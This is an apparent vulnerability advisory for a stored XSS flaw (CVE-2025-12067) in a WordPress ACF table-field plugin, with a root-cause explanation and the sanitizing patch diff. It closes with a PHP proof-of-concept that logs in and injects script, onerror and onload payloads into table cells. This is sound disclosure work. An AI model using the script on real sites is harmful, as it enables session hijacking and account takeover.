Atomic Edge analysis of CVE-2025-12067:
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the Table Field Add-on for ACF and SCF WordPress plugin. The vulnerability affects the plugin’s table cell content handling, allowing attackers with Author-level permissions or higher to inject malicious scripts. These scripts execute when a user views a page containing the compromised table. The CVSS score of 6.4 reflects the need for authentication and the impact on data confidentiality and integrity.
Atomic Edge research identified the root cause as insufficient input sanitization and output escaping in the table data processing functions. The vulnerable code resides in the `class-jh-acf-field-table.php` file, specifically within the `update_value` method (lines 556-598 in the diff). Before the patch, the plugin accepted raw user input for table caption (`$value[‘p’][‘ca’]`), header cells (`$value[‘h’]`), and body cells (`$value[‘b’]`) without applying proper sanitization. The plugin stored and later output this unsanitized data.
An attacker exploits this vulnerability by authenticating as a user with at least Author privileges, then submitting malicious JavaScript payloads within table cell content. The attack vector is the plugin’s table field interface, accessible when editing posts or pages. The attacker injects payloads via the `ca` (caption), `h` (header), or `b` (body) parameters during table data submission. The payload executes in the victim’s browser when the compromised page loads, allowing session hijacking, defacement, or malicious redirects.
The patch adds server-side sanitization using WordPress’s `wp_kses()` function with the ‘post’ context. The fix inserts three new code blocks (lines 556-598) that sanitize the caption, header cell values, and body cell values before they are saved to the database. The `array_walk_recursive()` function ensures all string values within the nested table data arrays are processed. This change prevents HTML and script tags from persisting in stored data, neutralizing the XSS vector. The patch also updates the plugin version from 1.3.30 to 1.3.31 and references a renamed JavaScript file.
Successful exploitation allows attackers to execute arbitrary JavaScript in the context of an authenticated user’s session. This can lead to session cookie theft, account takeover, content manipulation, or redirection to malicious sites. Attackers can target administrative users to gain higher privileges or perform actions on their behalf. The stored nature means a single injection affects all users who view the compromised page, amplifying the impact.
--- a/advanced-custom-fields-table-field/acf-table.php
+++ b/advanced-custom-fields-table-field/acf-table.php
@@ -3,7 +3,7 @@
Plugin Name: Table Field Add-on for ACF and SCF
Plugin URI: https://www.acf-table-field.com
Description: This free Add-on adds a table field type for the plugins Advanced Custom Fields and Secure Custom Fields.
-Version: 1.3.30
+Version: 1.3.31
Author: Johann Heyne
Author URI: http://www.johannheyne.de
License: GPLv2 or later
--- a/advanced-custom-fields-table-field/class-jh-acf-field-table.php
+++ b/advanced-custom-fields-table-field/class-jh-acf-field-table.php
@@ -39,7 +39,7 @@
* settings (array) Array of settings
*/
$this->settings = array(
- 'version' => '1.3.30',
+ 'version' => '1.3.31',
'dir_url' => plugins_url( '', __FILE__ ) . '/',
);
@@ -287,7 +287,7 @@
function input_admin_enqueue_scripts() {
// register & include JS
- wp_enqueue_script( 'acf-input-table', $this->settings['dir_url'] . 'js/input-v5.js', array( 'jquery', 'acf-input' ), $this->settings['version'], true );
+ wp_enqueue_script( 'acf-input-table', $this->settings['dir_url'] . 'js/input.js', array( 'jquery', 'acf-input' ), $this->settings['version'], true );
// register & include CSS
wp_register_style( 'acf-input-table', $this->settings['dir_url'] . 'css/input.css', array( 'acf-input' ), $this->settings['version'] );
@@ -556,6 +556,48 @@
}
// }
+
+ // SANITIZES DATA VALUES {
+
+ // CAPTION
+ if ( isset( $value['p']['ca'] ) ) {
+
+ $value['p']['ca'] = wp_kses( $value['p']['ca'], 'post' );
+ }
+
+ // HEADER CELL VALUES
+ if (
+ isset( $value['h'] ) &&
+ is_array( $value['h'] )
+ ) {
+
+ array_walk_recursive( $value['h'], function ( &$item ) {
+
+ if ( is_string( $item ) ) {
+
+ $item = wp_kses( $item, 'post' );
+ }
+ });
+
+ }
+
+ // BODY CELL VALUES
+ if (
+ isset( $value['b'] ) &&
+ is_array( $value['b'] )
+ ) {
+
+ array_walk_recursive( $value['b'], function ( &$item ) {
+
+ if ( is_string( $item ) ) {
+
+ $item = wp_kses( $item, 'post' );
+ }
+ });
+
+ }
+
+ // }
// $post_id is integer when post is saved, $post_id is string when block is saved
if ( gettype( $post_id ) === 'integer' ) {
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-12067 - Table Field Add-on for ACF and SCF <= 1.3.30 - Authenticated (Contributor+) Stored Cross-Site Scripting via Table Cell Content
<?php
$target_url = 'http://vulnerable-wordpress-site.com';
$username = 'attacker_author';
$password = 'password123';
$post_id = 123; // Target post ID where table field exists
// Step 1: Authenticate and obtain WordPress nonce and cookies
$login_url = $target_url . '/wp-login.php';
$admin_url = $target_url . '/wp-admin/';
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $login_url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $admin_url,
'testcookie' => 1
]),
CURLOPT_RETURNTRANSFER => true,
CURLOPT_COOKIEJAR => 'cookies.txt',
CURLOPT_COOKIEFILE => 'cookies.txt',
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_HEADER => true
]);
$response = curl_exec($ch);
// Step 2: Extract edit page to get required nonces (ACF meta box nonce)
$edit_post_url = $target_url . '/wp-admin/post.php?post=' . $post_id . '&action=edit';
curl_setopt_array($ch, [
CURLOPT_URL => $edit_post_url,
CURLOPT_POST => false,
CURLOPT_HTTPGET => true,
CURLOPT_HEADER => false
]);
$edit_page = curl_exec($ch);
// Parse for acf_nonce - this is a simplified example; real extraction requires DOM parsing
preg_match('/"acf_nonce"s*value="([^"]+)"/', $edit_page, $matches);
$acf_nonce = $matches[1] ?? '';
// Step 3: Craft malicious table data with XSS payload
// Structure mimics plugin's internal data format
$malicious_table_data = [
'p' => [
'ca' => '<script>alert("Atomic Edge XSS via Caption")</script>', // Caption XSS
],
'h' => [
['c' => ['<img src=x onerror=alert("Header Cell")>']], // Header cell XSS
],
'b' => [
[
['c' => ['<svg onload=alert("Body Cell")>']] // Body cell XSS
]
]
];
// Step 4: Submit payload via WordPress post meta update (simulating ACF save)
// The plugin hooks into save_post and processes the table field data
$save_post_url = $target_url . '/wp-admin/admin-ajax.php';
$field_key = 'field_1234567890abc'; // Target ACF table field key
$ajax_data = [
'action' => 'acf/save_post',
'post_id' => $post_id,
'acf' => [
$field_key => $malicious_table_data
],
'_acf_nonce' => $acf_nonce
];
curl_setopt_array($ch, [
CURLOPT_URL => $save_post_url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query($ajax_data),
CURLOPT_REFERER => $edit_post_url
]);
$ajax_response = curl_exec($ch);
curl_close($ch);
// Step 5: Verify exploitation by checking if payload persists
// Visit the public post page; if vulnerable, script executes in browser
// This PoC demonstrates the injection; actual verification requires browser testing
echo "Payload injected. Visit post ID $post_id to trigger XSS.n";
?>